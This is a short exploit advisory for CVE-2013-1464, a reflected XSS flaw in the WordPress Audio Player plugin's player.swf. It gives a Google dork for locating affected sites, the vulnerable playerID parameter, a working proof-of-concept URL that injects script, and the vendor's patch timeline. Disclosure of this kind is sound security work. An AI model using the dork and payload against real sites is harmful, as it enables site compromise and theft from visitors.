Exploit Title: Wordpress Audio Player Plugin XSS in SWF
Release Date: 31/01/13
Author: hip [Insight-Labs]
Tested on: XPsp3
Affected version: 2.0.4.6 before
Google Dork: inurl:/wp-content/plugins/audio-player/
#Ref:CVE-2013-1464
Introduction:
Audio Player is a highly configurable but simple mp3 player for all your audio needs.
XSS - Proof Of Concept:
vulnerable path:
/wp-content/plugins/audio-player/assets/player.swf
vulnerabile parameter:playerID
POC:
/wp-content/plugins/audio-player/assets/player.swf?playerID=a\"))}catch(e){alert(1)}//
Patch:
– Vendor was notified on the 23/01/2013
– Vendor released version 2.0.4.6 on 30/01/2013 Fixed the bug